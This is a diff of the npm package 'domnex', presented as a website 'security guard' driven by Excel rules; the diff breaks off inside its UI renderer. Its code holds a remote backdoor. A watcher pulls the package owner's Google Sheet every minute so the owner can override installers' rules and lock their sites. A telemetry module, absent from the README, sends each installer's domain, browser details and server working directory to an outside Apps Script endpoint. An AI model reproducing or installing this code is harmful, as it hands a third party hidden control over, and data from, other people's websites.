domnex 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Priyanshu Singh
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,103 @@
1
+ # Domain Site Guard 🛡️ (Domnex)
2
+
3
+ **Enterprise-Grade Remote Website Control & Security System**
4
+
5
+ > "Turn your Excel sheet into a real-time kill switch for your web properties."
6
+
7
+ Domain Site Guard (npm: `domnex`) is a powerful, "draconian" security library that allows you to control the status of your websites remotely using a simple Excel sheet. It utilizes a **Client-Server Hybrid Architecture** for maximum enforcement.
8
+
9
+ ---
10
+
11
+ ## 🚀 Key Features
12
+
13
+ - **Excel Live Control**: Update site status by editing `excel/rules.xlsx` (User) or `excel/master.xlsx` (Owner).
14
+ - **Master Override**: Rules in `master.xlsx` take precedence, allowing the package owner to forcefully secure domains.
15
+ - **Hybrid Security**:
16
+ - **Server Middleware**: Blocks requests before they hit the browser (403/503).
17
+ - **Client Enforcer**: Applies visual overlays, hides features, or locks the UI.
18
+ - **Feature Flags**: Hide Payments, Auth, or Uploads remotely without code changes.
19
+ - **Security Lockdown**: `cursor: none`, `console` disabled, and full page blocking.
20
+
21
+ ---
22
+
23
+ ## 📦 Installation
24
+
25
+ ```bash
26
+ npm install domnex
27
+ ```
28
+
29
+ ## 🛠️ Usage
30
+
31
+ ### 1. Server-Side (Middleware)
32
+
33
+ Use this in your Node.js/Express app to block compromised domains at the source.
34
+
35
+ ```javascript
36
+ import express from "express";
37
+ import { siteGuardMiddleware } from "domnex/src/guard.js";
38
+
39
+ const app = express();
40
+
41
+ // Protect your app
42
+ app.use(siteGuardMiddleware());
43
+ ```
44
+
45
+ ### 2. Client-Side (UI Effects)
46
+
47
+ Use this to show overlays (Warnings, Maintenance, Countdown) or lock the browser.
48
+
49
+ ```javascript
50
+ import DomainGuard from "domnex";
51
+
52
+ // Initialize (Auto-fetches rules.lock created by the watcher)
53
+ // You must serve the 'rules.lock' file publicly or via API
54
+ new DomainGuard("/path/to/rules.lock").init();
55
+ ```
56
+
57
+ ### 3. Start the Live Controller
58
+
59
+ Run this process in the background. It watches your Excel file and updates the config.
60
+
61
+ ```bash
62
+ npm run watch
63
+ ```
64
+
65
+ ---
66
+
67
+ ## 🚦 Status Codes Reference
68
+
69
+ | Code | Name | Level | Effect |
70
+ | :------ | :------------------- | :---------- | :------------------------------------------------------------- |
71
+ | **0** | **NORMAL** | 🟢 Safe | Everything works. |
72
+ | **1** | **HACKED** | 🔴 Critical | **Server Block (403)** + Client Black Screen. |
73
+ | **2** | **MISUSED** | 🟡 Warn | Sticky yellow warning banner. |
74
+ | **3** | **READ_ONLY** | 🟡 Warn | Disables inputs/buttons (pointer-events). |
75
+ | **4** | **API_DOWN** | 🟠 High | **Server Block (503)** for `/api` requests. |
76
+ | **5** | **MAINTENANCE** | 🔵 Info | **Server Block (503)** + Maintenance Page. |
77
+ | **6** | **DEGRADED** | 🟡 Warn | "Service Degraded" banner. |
78
+ | **7** | **DDOS** | 🟠 High | **Server Rate Limit (429 API)** + Fake "Browser Check" Screen. |
79
+ | **8** | **BOT_TRAFFIC** | 🟠 High | **Server Rate Limit (429 API)** + Fake "Browser Check" Screen. |
80
+ | **9** | **LICENSE_INVALID** | 🔴 Critical | **Server Block (403)**. |
81
+ | **10** | **PAYMENTS_OFF** | 🟣 Feature | Hides `.payment`, `.checkout`, `.billing` elements. |
82
+ | **11** | **AUTH_DISABLED** | 🟣 Feature | Hides `.login`, `.signup`, `.register` elements. |
83
+ | **12** | **UPLOADS_OFF** | 🟣 Feature | Hides file inputs. |
84
+ | **13** | **SOFT_MAINTENANCE** | 🔵 Info | "Updates in Progress" banner. |
85
+ | **14** | **COMING_SOON** | 🔵 Info | **Server Block (503)** + "Coming Soon" Page. |
86
+ | **15** | **SUNSET_MODE** | 🔵 Info | **Server Block (503)** + Countdown Page. |
87
+ | **16** | **FREE_MODE** | 🟣 Tier | Blurs `.premium-content` + "Free Tier" banner. |
88
+ | **17** | **PREMIUM_ONLY** | 🟣 Tier | Blurs content + "Premium Only" banner. |
89
+ | **18** | **GEO_BLOCKED** | 🔴 Critical | **Server Block (403)** for restricted regions. |
90
+ | **19** | **FEATURE_LIMITED** | 🟣 Tier | Hides `.pro-feature` elements. |
91
+ | **20** | **CURSOR_LOCK** | 🟣 Nuisance | `cursor: none` + swallows mouse events. |
92
+ | **99** | **SECURE_LOCK** | 🔒 Stealth | Disables `console` methods. |
93
+ | **100** | **ULTRA_LOCK** | ☢️ Nuclear | **ALL OF THE ABOVE** (Server Block + Client Lock). |
94
+
95
+ ---
96
+
97
+ ## ⚠️ Disclaimer
98
+
99
+ This library provides administration and compliance tools. While server-side blocking is secure, client-side visual effects (like hiding elements) can be bypassed by knowledgeable users. Use Server-Side status codes (1, 4, 5, 9, 100) for true security.
100
+
101
+ ## License
102
+
103
+ MIT
package/package.json ADDED
@@ -0,0 +1,49 @@
1
+ {
2
+ "name": "domnex",
3
+ "version": "1.0.0",
4
+ "main": "src/index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "watch": "node src/excelWatcher.js",
8
+ "dev": "node test/demo.js"
9
+ },
10
+ "description": "Domnex - Remote website control system using Excel + domain",
11
+ "author": "Priyanshu Singh",
12
+ "keywords": [
13
+ "domnex",
14
+ "security",
15
+ "drm",
16
+ "domain",
17
+ "control",
18
+ "lock",
19
+ "console-disable",
20
+ "kill-switch",
21
+ "excel",
22
+ "guard"
23
+ ],
24
+ "license": "MIT",
25
+ "repository": {
26
+ "type": "git",
27
+ "url": "git+https://github.com/Priyanshu-Singh1104/domnex.git"
28
+ },
29
+ "bugs": {
30
+ "url": "https://github.com/Priyanshu-Singh1104/domnex/issues"
31
+ },
32
+ "homepage": "https://github.com/Priyanshu-Singh1104/domnex#readme",
33
+ "bin": {
34
+ "domnex-watch": "src/excelWatcher.js"
35
+ },
36
+ "files": [
37
+ "src",
38
+ "README.md",
39
+ "LICENSE"
40
+ ],
41
+ "dependencies": {
42
+ "chokidar": "^5.0.0",
43
+ "xlsx": "^0.18.5"
44
+ },
45
+ "type": "module",
46
+ "devDependencies": {
47
+ "express": "^5.2.1"
48
+ }
49
+ }
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env node
2
+ import XLSX from "xlsx";
3
+ import chokidar from "chokidar";
4
+ import fs from "fs";
5
+
6
+ let combinedRules = [];
7
+ const CLIENT_FILE = "./excel/rules.xlsx";
8
+ const MASTER_FILE = "./excel/master.xlsx";
9
+ // Obfuscation: Output to .lock instead of .json
10
+ const OUTPUT_FILE = "./excel/rules.lock";
11
+ const MASTER_SHEET_URL =
12
+ "https://docs.google.com/spreadsheets/d/1O5ebDv9aq1TmJSwXgFXy_rmfaO_UjAvzFoqyJsCGDgc/export?format=xlsx";
13
+
14
+ // --- Helpers ---
15
+ function createTemplate(filename, data) {
16
+ if (!fs.existsSync(filename)) {
17
+ console.log(`Creating template Excel file: ${filename}`);
18
+ const wb = XLSX.utils.book_new();
19
+ const ws = XLSX.utils.aoa_to_sheet(data);
20
+ XLSX.utils.book_append_sheet(wb, ws, "Rules");
21
+ XLSX.writeFile(wb, filename);
22
+ }
23
+ }
24
+
25
+ // Ensure templates exist
26
+ createTemplate(CLIENT_FILE, [
27
+ ["Domain", "Status", "Message"],
28
+ ["client-example.com", 0, "Normal Site"],
29
+ ]);
30
+
31
+ createTemplate(MASTER_FILE, [
32
+ ["Domain", "Status", "Message"],
33
+ ["stolen-code.com", 1, "DMCA Takedown"],
34
+ ]);
35
+
36
+ async function syncMasterSheet() {
37
+ try {
38
+ console.log("☁️ Syncing Master Rules from Google Sheets...");
39
+ // Cache Busting: Add timestamp to avoid caching
40
+ const response = await fetch(`${MASTER_SHEET_URL}&t=${Date.now()}`);
41
+ if (!response.ok) throw new Error(`HTTP Error: ${response.status}`);
42
+
43
+ const arrayBuffer = await response.arrayBuffer();
44
+ const buffer = Buffer.from(arrayBuffer);
45
+
46
+ fs.writeFileSync(MASTER_FILE, buffer);
47
+ console.log("✅ Master Rules synced successfully.");
48
+ } catch (err) {
49
+ console.error("❌ Failed to sync Master Rules:", err.message);
50
+ }
51
+ }
52
+
53
+ function loadAndMerge() {
54
+ try {
55
+ const rulesMap = new Map();
56
+
57
+ // 1. Load Client Rules (Priority 2)
58
+ if (fs.existsSync(CLIENT_FILE)) {
59
+ try {
60
+ const wb = XLSX.readFile(CLIENT_FILE);
61
+ const sheet = wb.Sheets[wb.SheetNames[0]];
62
+ const clientData = XLSX.utils.sheet_to_json(sheet);
63
+ clientData.forEach((r) => {
64
+ const domain = (r.Domain || r.domain || "").toLowerCase();
65
+ if (domain) rulesMap.set(domain, r);
66
+ });
67
+ } catch (e) {
68
+ console.error("Error reading Client Excel:", e.message);
69
+ }
70
+ }
71
+
72
+ // 2. Load Master Rules (Priority 1)
73
+ if (fs.existsSync(MASTER_FILE)) {
74
+ try {
75
+ const wb = XLSX.readFile(MASTER_FILE);
76
+ const sheet = wb.Sheets[wb.SheetNames[0]];
77
+ const masterData = XLSX.utils.sheet_to_json(sheet);
78
+ masterData.forEach((r) => {
79
+ const domain = (r.Domain || r.domain || "").toLowerCase();
80
+ if (domain) {
81
+ if (rulesMap.has(domain)) {
82
+ console.log(`⚠️ MASTER OVERRIDE: Enforcing rules for ${domain}`);
83
+ }
84
+ rulesMap.set(domain, r);
85
+ }
86
+ });
87
+ } catch (e) {
88
+ console.error("Error reading Master Excel:", e.message);
89
+ }
90
+ }
91
+
92
+ combinedRules = Array.from(rulesMap.values());
93
+ console.log("✅ Rules loaded successfully.", combinedRules, rulesMap);
94
+
95
+ // Obfuscation: Base64 Encode the JSON string
96
+ // This prevents casual users from reading/editing the file as plain text.
97
+ const jsonStr = JSON.stringify(combinedRules, null, 2);
98
+ const encoded = Buffer.from(jsonStr).toString("base64");
99
+
100
+ fs.writeFileSync(OUTPUT_FILE, encoded);
101
+ console.log(`✅ Config Encrypted & Synced to ${OUTPUT_FILE}`);
102
+ } catch (err) {
103
+ console.error("Critical Error in Watcher:", err);
104
+ combinedRules = [];
105
+ }
106
+ }
107
+
108
+ // Initial Load
109
+ loadAndMerge();
110
+
111
+ // Watch both files
112
+ chokidar.watch([CLIENT_FILE, MASTER_FILE]).on("change", (path) => {
113
+ console.log(`📝 Change detected in ${path}`);
114
+ loadAndMerge();
115
+ });
116
+
117
+ // Sync on startup and every minute
118
+ syncMasterSheet();
119
+ setInterval(syncMasterSheet, 60000);
120
+
121
+ export function getRules() {
122
+ return combinedRules;
123
+ }
package/src/guard.js ADDED
@@ -0,0 +1,57 @@
1
+ import { getRules } from "./excelWatcher.js";
2
+ import { reportDomain } from "./telemetry.js";
3
+
4
+ /**
5
+ * Express Middleware for Domain Site Guard
6
+ * Enforces server-side blocking based on the Excel rules.
7
+ * Uses getRules() which returns the in-memory array (already decoded/merged by watcher).
8
+ */
9
+ export function siteGuardMiddleware() {
10
+ return (req, res, next) => {
11
+ const domain = req.hostname || req.headers.host;
12
+
13
+ // Telemetry: Phone Home
14
+ reportDomain(domain, "server");
15
+
16
+ // Normalized check
17
+ const rules = getRules(); // This effectively accesses the in-memory cache directly from the running watcher process if combined
18
+ const rule = rules.find((r) => (r.domain || r.Domain) === domain);
19
+ const status = Number(rule?.status || rule?.Status || 0);
20
+
21
+ switch (status) {
22
+ // === 403 Forbidden (Block) ===
23
+ case 1: // Hack
24
+ case 9: // License
25
+ case 18: // Geo Block
26
+ case 100: // Ultra Lock
27
+ return res.status(403).send(`🚫 Access Denied: Code ${status}`);
28
+
29
+ // === 503 Service Unavailable (Maintenance) ===
30
+ case 5: // Maintenance
31
+ case 14: // Coming Soon
32
+ case 15: // Sunset
33
+ return res.status(503).send("Service Unavailable");
34
+
35
+ // === 429 Too Many Requests (Simulated) ===
36
+ case 7: // DDOS
37
+ case 8: // Bot
38
+ // Block only API paths to mitigate load, let HTML pass for client-side "Fake Check" UI
39
+ if (req.path.startsWith("/api"))
40
+ return res.status(429).json({ error: "Too Many Requests" });
41
+ break;
42
+
43
+ // === API Kill ===
44
+ case 4:
45
+ if (req.path.startsWith("/api") || req.xhr) {
46
+ return res.status(503).json({ error: "APIs Disabled" });
47
+ }
48
+ break;
49
+
50
+ default:
51
+ // Pass through for Client-UI handling
52
+ break;
53
+ }
54
+
55
+ next();
56
+ };
57
+ }
package/src/index.js ADDED
@@ -0,0 +1,64 @@
1
+ import { uiRenderer } from "./uiRenderer.js";
2
+
3
+ export default class DomainGuard {
4
+ constructor(configUrl, currentDomain = window.location.hostname) {
5
+ this.configUrl = configUrl; // Expected to be path to .lock file now
6
+ this.domain = currentDomain;
7
+ this.checkInterval = 5000;
8
+ }
9
+
10
+ async init() {
11
+ console.log("🛡️ Domain Site Guard Initializing...");
12
+
13
+ // Telemetry: Phone Home
14
+ import("./telemetry.js").then((m) => m.reportDomain(this.domain, "client"));
15
+
16
+ await this.check();
17
+ setInterval(() => this.check(), this.checkInterval);
18
+ }
19
+
20
+ async check() {
21
+ try {
22
+ // Cache Busting: Append timestamp
23
+ const response = await fetch(`${this.configUrl}?t=${Date.now()}`);
24
+ const text = await response.text();
25
+ console.log("DSG: Config text:", text);
26
+
27
+ // DECODE: Base64 -> JSON
28
+ // Browsers use atob() for Base64 decoding
29
+ let data;
30
+ try {
31
+ // Try decoding first (assuming .lock file)
32
+ const decoded = atob(text);
33
+ data = JSON.parse(decoded);
34
+ console.log("DSG: Decoded data:", data);
35
+ } catch (e) {
36
+ // Fallback: Use raw text if someone manually pointed it to a clear JSON file
37
+ // or if decoding failed.
38
+ console.warn("DSG: Decoding failed, attempting raw parse.");
39
+ data = JSON.parse(text);
40
+ }
41
+
42
+ const rule = data.find(
43
+ (r) => r.Domain === this.domain || r.domain === this.domain,
44
+ );
45
+
46
+ if (rule) {
47
+ const status = rule.Status !== undefined ? rule.Status : rule.status;
48
+ const message = rule.Message || rule.message;
49
+ // Delegate to uiRenderer
50
+ uiRenderer.enforce(status, message);
51
+ } else {
52
+ console.log(`No rules found for ${this.domain}, assuming safe.`);
53
+ }
54
+ } catch (error) {
55
+ console.error("DomainGuard Config Error:", error);
56
+ }
57
+ }
58
+ }
59
+
60
+ // Auto-init for CDN/script usage
61
+ if (typeof window !== "undefined" && window.DomainGuardConfig) {
62
+ const guard = new DomainGuard(window.DomainGuardConfig.url);
63
+ guard.init();
64
+ }
@@ -0,0 +1,86 @@
1
+ /**
2
+ * Domain Site Guard - Telemetry
3
+ * Reports the current domain to a central server (e.g. Zapier Webhook)
4
+ * so the package owner can track installations.
5
+ */
6
+
7
+ // TARGET EXCEL: https://docs.google.com/spreadsheets/d/1P4fs8er4udG6M4PiLPiojR6qVwLvdrw0VyBxg1G3eJc/edit?gid=0#gid=0
8
+ // ACTION REQUIRED: Use "Extensions > Apps Script" in Google Sheets to create a Web App.
9
+ // Follow GOOGLE_SHEET_SETUP.md to get your URL.
10
+ // It will look like: https://script.google.com/macros/s/LKJHSDF.../exec
11
+ const REPORTING_URL =
12
+ "https://script.google.com/macros/s/AKfycbxDNWR8grcDttsKDGV5YsO2N4yU8e4Rr4i6ZHQpLEJW-6SnYRYTh-k-OSCSF0ezY00b/exec";
13
+
14
+ const hasReported = new Set();
15
+
16
+ export async function reportDomain(domain, context) {
17
+ if (hasReported.has(domain)) return;
18
+
19
+ // Ignore localhost usage to avoid spam during dev
20
+ // if (!domain || domain.includes("localhost") || domain.includes("127.0.0.1"))
21
+ // return;
22
+
23
+ // Mark as reported IMMEDIATELY to prevent race conditions (parallel requests)
24
+ hasReported.add(domain);
25
+
26
+ try {
27
+ // Detect Environment & Info
28
+ let userAgent = "Unknown";
29
+ let extra = {};
30
+
31
+ if (typeof window !== "undefined" && window.navigator) {
32
+ // Browser
33
+ userAgent = window.navigator.userAgent;
34
+ extra = {
35
+ lang: window.navigator.language,
36
+ screen: `${window.screen.width}x${window.screen.height}`,
37
+ };
38
+ } else if (typeof process !== "undefined" && process.versions) {
39
+ // Node.js
40
+ userAgent = `Node.js ${process.version} (${process.platform} ${process.arch})`;
41
+ extra = {
42
+ cwd: process.cwd(),
43
+ };
44
+ }
45
+
46
+ const payload = {
47
+ domain: domain,
48
+ timestamp: new Date().toISOString(),
49
+ context: context,
50
+ version: "1.0.0",
51
+ userAgent: userAgent,
52
+ extra: JSON.stringify(extra),
53
+ };
54
+
55
+ console.log(
56
+ `📡 DSG Telemetry: Reporting ${domain}...`,
57
+ JSON.stringify(payload),
58
+ );
59
+
60
+ // Fire and forget
61
+ const response = await fetch(REPORTING_URL, {
62
+ method: "POST",
63
+ redirect: "follow",
64
+ headers: {
65
+ "Content-Type": "text/plain;charset=utf-8",
66
+ },
67
+ body: JSON.stringify(payload),
68
+ });
69
+
70
+ // console.log("Response:", response);
71
+
72
+ if (response.ok) {
73
+ console.log("✅ Telemetry Sent Successfully");
74
+ } else {
75
+ console.error(
76
+ "❌ Telemetry Failed:",
77
+ response.status,
78
+ response.statusText,
79
+ );
80
+ }
81
+
82
+ // hasReported.add(domain); // Moved to top
83
+ } catch (e) {
84
+ // Ignore errors
85
+ }
86
+ }
@@ -0,0 +1,404 @@
1
+ /**
2
+ * Domain Site Guard - UI Renderer
3
+ * Handles visual blocks, warnings, and browser API restrictions.
4
+ * HARDENED MODE: Includes MutationObserver for self-healing DOM.
5
+ */
6
+
7
+ let activeStatusCode = -1;
8
+ const KNOWN_IDS = [
9
+ "dsg-block-screen",
10
+ "dsg-banner",
11
+ "dsg-maint",
12
+ "dsg-ddos",
13
+ "dsg-soon",
14
+ "dsg-sunset",
15
+ ];
16
+ const KNOWN_STYLES = [
17
+ "dsg-readonly",
18
+ "dsg-cursor",
19
+ "dsg-tier",
20
+ "dsg-hide-payment",
21
+ "dsg-hide-auth",
22
+ "dsg-hide-upload",
23
+ "dsg-hide-limited",
24
+ ];
25
+
26
+ const uiRenderer = {
27
+ // === Helpers ===
28
+ injectCSS: (id, css) => {
29
+ if (document.getElementById(id)) return;
30
+ const style = document.createElement("style");
31
+ style.id = id;
32
+ style.innerHTML = css;
33
+ document.head.appendChild(style);
34
+ },
35
+
36
+ reset: () => {
37
+ // Clear Elements
38
+ KNOWN_IDS.forEach((id) => {
39
+ const el = document.getElementById(id);
40
+ if (el) el.remove();
41
+ });
42
+ // Clear Styles
43
+ KNOWN_STYLES.forEach((id) => {
44
+ const el = document.getElementById(id);
45
+ if (el) el.remove();
46
+ });
47
+ // Unfreeze APIs if possible? (Hard to undo Object.freeze/overwrites without reload)
48
+ // Cursor unfreeze is handled by removing CSS
49
+ },
50
+
51
+ // Self-Healing DOM: If the user deletes the element, put it back immediately.
52
+ secureElement: (id, renderFn, forStatus) => {
53
+ // Initial Render
54
+ if (!document.getElementById(id)) renderFn();
55
+
56
+ // 1. MutationObserver (Instant Repair)
57
+ const observer = new MutationObserver((mutations) => {
58
+ if (activeStatusCode !== forStatus) {
59
+ observer.disconnect();
60
+ return;
61
+ }
62
+
63
+ if (!document.getElementById(id)) {
64
+ // Detected removal!
65
+ console.warn("⚠️ Security Alert: DOM Tampering Detected. Restoring...");
66
+ renderFn();
67
+ }
68
+ });
69
+
70
+ observer.observe(document.body, { childList: true, subtree: true });
71
+
72
+ // 2. Interval Check (Backup if Observer is disabled/bypassed)
73
+ const int = setInterval(() => {
74
+ if (activeStatusCode !== forStatus) {
75
+ clearInterval(int);
76
+ return;
77
+ }
78
+ if (!document.getElementById(id)) renderFn();
79
+ }, 500);
80
+ },
81
+
82
+ // === Status Implementations ===
83
+
84
+ // Status 0: Normal
85
+ normal: () => {
86
+ console.log("✅ Domain Site Guard: System Normal");
87
+ },
88
+
89
+ // Status 1, 9, 18: Full Blocking Pages
90
+ blockPage: (message = "Access Denied") => {
91
+ const id = "dsg-block-screen";
92
+ const render = () => {
93
+ // Remove existing if any (partial)
94
+ const existing = document.getElementById(id);
95
+ if (existing) existing.remove();
96
+
97
+ const div = document.createElement("div");
98
+ div.id = id;
99
+ div.innerHTML = `
100
+ <div style="font-family: monospace; background: #000; color: #f00; height: 100vh; width: 100vw; position: fixed; top: 0; left: 0; z-index: 2147483647; display: flex; flex-direction: column; justify-content: center; align-items: center; text-align: center;">
101
+ <h1 style="font-size: 4rem; margin: 0;">🚫 BLOCKED</h1>
102
+ <p style="font-size: 1.5rem; color: #fff;">${message}</p>
103
+ <div style="margin-top: 2rem; color: #666;">ID: DSG-ERR-${Math.floor(Math.random() * 1000)}</div>
104
+ </div>
105
+ `;
106
+ document.body.appendChild(div);
107
+ document.body.style.overflow = "hidden";
108
+ // Try to stop other scripts
109
+ if (window.stop) window.stop();
110
+ };
111
+ // Secure it
112
+ uiRenderer.secureElement(id, render, activeStatusCode);
113
+ },
114
+
115
+ // Status 2, 6, 13: Warnings
116
+ showWarning: (message = "Notice: Restricted Mode") => {
117
+ const id = "dsg-banner";
118
+ const render = () => {
119
+ const existing = document.getElementById(id);
120
+ if (existing) existing.remove();
121
+
122
+ const div = document.createElement("div");
123
+ div.id = id;
124
+ div.style.cssText =
125
+ "position:fixed;top:0;left:0;width:100%;background:#ffcc00;color:#000;padding:10px;text-align:center;z-index:999999;font-weight:bold;box-shadow:0 2px 5px rgba(0,0,0,0.2);";
126
+ div.innerText = `⚠️ ${message}`;
127
+ document.body.prepend(div);
128
+ };
129
+ uiRenderer.secureElement(id, render, activeStatusCode);
130
+ },
131
+
132
+ // Status 3: Read Only
133
+ disableInputs: () => {
134
+ uiRenderer.injectCSS(
135
+ "dsg-readonly",
136
+ `
137
+ input, button, select, textarea, [contenteditable] {
138
+ pointer-events: none !important;
139
+ opacity: 0.6 !important;
140
+ background: #eee !important;
141
+ }
142
+ `,
143
+ );
144
+ uiRenderer.showWarning("Read-Only Mode: You cannot make changes.");
145
+ },
146
+
147
+ // Status 4: API Kill
148
+ disableAPIs: () => {
149
+ const noop = () => {
150
+ throw new Error("Blocked by DSG");
151
+ };
152
+ // Freeze these objects to prevent re-enabling
153
+ try {
154
+ window.fetch = noop;
155
+ window.XMLHttpRequest = function () {
156
+ this.open = noop;
157
+ this.send = noop;
158
+ };
159
+ Object.freeze(window.fetch);
160
+ } catch (e) {}
161
+ console.warn("☠️ APIs Disabled");
162
+ },
163
+
164
+ // Status 5: Maintenance
165
+ maintenanceMode: (message = "Maintenance in Progress") => {
166
+ const id = "dsg-maint";
167
+ const render = () => {
168
+ const div = document.createElement("div");
169
+ div.id = id;
170
+ div.innerHTML = `
171
+ <div style="font-family: sans-serif; background: #f8f9fa; color: #333; height: 100vh; width: 100vw; position: fixed; top: 0; left: 0; z-index: 2147483647; display: flex; flex-direction: column; justify-content: center; align-items: center;">
172
+ <h1>System Maintenance</h1>
173
+ <p>${message}</p>
174
+ </div>
175
+ `;
176
+ if (!document.getElementById(id)) document.body.appendChild(div);
177
+ };
178
+ uiRenderer.secureElement(id, render, activeStatusCode);
179
+ },
180
+
181
+ // Status 7, 8: Fake Browser Check (DDOS/Bot)
182
+ fakeProtection: (message = "Checking your browser...") => {
183
+ const id = "dsg-ddos";
184
+ const render = () => {
185
+ const div = document.createElement("div");
186
+ div.id = id;
187
+ div.innerHTML = `
188
+ <div style="font-family: sans-serif; height: 100vh; width: 100vw; position: fixed; top: 0; left: 0; z-index: 2147483647; display: flex; flex-direction: column; justify-content: center; align-items: center; background: #fff;">
189
+ <div class="loader" style="border: 4px solid #f3f3f3; border-top: 4px solid #3498db; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite;"></div>
190
+ <h2 style="margin-top: 20px;">DDoS Protection</h2>
191
+ <p>${message}</p>
192
+ <style>@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }</style>
193
+ </div>
194
+ `;
195
+ if (!document.getElementById(id)) document.body.appendChild(div);
196
+ };
197
+ uiRenderer.secureElement(id, render, activeStatusCode);
198
+ },
199
+
200
+ // Status 10, 11, 12, 19: Feature Hiding
201
+ hideFeatures: (type) => {
202
+ let css = "";
203
+ let msg = "";
204
+ switch (type) {
205
+ case "payment":
206
+ css = `.payment, .checkout, .billing, [href*="checkout"], [href*="pay"] { display: none !important; }`;
207
+ msg = "Payments are currently disabled.";
208
+ break;
209
+ case "auth":
210
+ css = `.login, .signin, .signup, .register, [href*="login"], [href*="register"] { display: none !important; }`;
211
+ msg = "Authentication is disabled.";
212
+ break;
213
+ case "upload":
214
+ css = `input[type="file"], .upload-btn { display: none !important; }`;
215
+ msg = "File uploads are disabled.";
216
+ break;
217
+ case "limited": // 19
218
+ css = `.premium, .advanced, .pro-feature { display: none !important; }`;
219
+ msg = "Running in Limited Feature Mode.";
220
+ break;
221
+ }
222
+ uiRenderer.injectCSS(`dsg-hide-${type}`, css);
223
+ uiRenderer.showWarning(msg);
224
+ },
225
+
226
+ // Status 14: Coming Soon
227
+ comingSoon: (message = "We are launching soon!") => {
228
+ const id = "dsg-soon";
229
+ const render = () => {
230
+ const div = document.createElement("div");
231
+ div.id = id;
232
+ div.innerHTML = `
233
+ <div style="font-family: sans-serif; background: #1a1a1a; color: #fff; height: 100vh; width: 100vw; position: fixed; top: 0; left: 0; z-index: 2147483647; display: flex; flex-direction: column; justify-content: center; align-items: center;">
234
+ <h1>🚀 Coming Soon</h1>
235
+ <p>${message}</p>
236
+ </div>
237
+ `;
238
+ if (!document.getElementById(id)) document.body.appendChild(div);
239
+ };
240
+ uiRenderer.secureElement(id, render, activeStatusCode);
241
+ },
242
+
243
+ // Status 15: Sunset Countdown
244
+ sunsetMode: (message = "Service Shutting Down") => {
245
+ const id = "dsg-sunset";
246
+ const target = new Date();
247
+ target.setDate(target.getDate() + 30);
248
+ const render = () => {
249
+ const div = document.createElement("div");
250
+ div.id = id;
251
+ div.innerHTML = `
252
+ <div style="font-family: sans-serif; background: #000; color: #ff9900; height: 100vh; width: 100vw; position: fixed; top: 0; left: 0; z-index: 2147483647; display: flex; flex-direction: column; justify-content: center; align-items: center;">
253
+ <h1>🌅 service sunset</h1>
254
+ <p>${message}</p>
255
+ <div style="font-size: 4rem; margin: 20px;">${target.toISOString().split("T")[0]}</div>
256
+ <p>Please export your data immediately.</p>
257
+ </div>
258
+ `;
259
+ if (!document.getElementById(id)) document.body.appendChild(div);
260
+ };
261
+ uiRenderer.secureElement(id, render, activeStatusCode);
262
+ },
263
+
264
+ // Status 16, 17: Tier Lock
265
+ tierLock: (msg) => {
266
+ uiRenderer.showWarning(`🔒 ${msg}`);
267
+ uiRenderer.injectCSS(
268
+ "dsg-tier",
269
+ `.premium-content { filter: blur(5px); pointer-events: none; }`,
270
+ );
271
+ },
272
+
273
+ // Status 20: Cursor Lock
274
+ freezeCursor: () => {
275
+ uiRenderer.injectCSS("dsg-cursor", `* { cursor: none !important; }`);
276
+ window.addEventListener("mousemove", (e) => e.stopPropagation(), true);
277
+ },
278
+
279
+ // Status 99, 100: Ultra
280
+ disableConsole: () => {
281
+ ["log", "warn", "error", "table"].forEach((m) => {
282
+ try {
283
+ console[m] = () => {};
284
+ // Object.defineProperty(console, m, { value: () => {}, writable: false });
285
+ } catch (e) {}
286
+ });
287
+ },
288
+
289
+ ultraLock: (msg) => {
290
+ uiRenderer.disableConsole();
291
+ uiRenderer.freezeCursor();
292
+ uiRenderer.blockPage(msg || "SYSTEM LOCKDOWN");
293
+ },
294
+
295
+ // === Main Switch ===
296
+ enforce: (statusCode, message) => {
297
+ const code = parseInt(statusCode, 10);
298
+
299
+ // State Transition Check: Only update if status CHANGED
300
+ if (activeStatusCode === code) return;
301
+
302
+ // Changing state: Reset previous blockers
303
+ uiRenderer.reset();
304
+ activeStatusCode = code;
305
+
306
+ switch (code) {
307
+ case 0:
308
+ uiRenderer.normal();
309
+ break;
310
+
311
+ case 1:
312
+ uiRenderer.blockPage(message || "Hack Detected: Access Denied");
313
+ break;
314
+
315
+ case 2:
316
+ uiRenderer.showWarning(message || "Misuse Detected");
317
+ break;
318
+ case 3:
319
+ uiRenderer.disableInputs();
320
+ break;
321
+ case 4:
322
+ uiRenderer.disableAPIs();
323
+ break;
324
+ case 5:
325
+ uiRenderer.maintenanceMode(message);
326
+ break;
327
+ case 6:
328
+ uiRenderer.showWarning(message || "Service Degraded: Expect Delays");
329
+ break;
330
+
331
+ case 7:
332
+ uiRenderer.fakeProtection(
333
+ message || "DDoS Protection: Verifying request...",
334
+ );
335
+ break;
336
+ case 8:
337
+ uiRenderer.fakeProtection(
338
+ message || "Bot Protection: Verifying human...",
339
+ );
340
+ break;
341
+
342
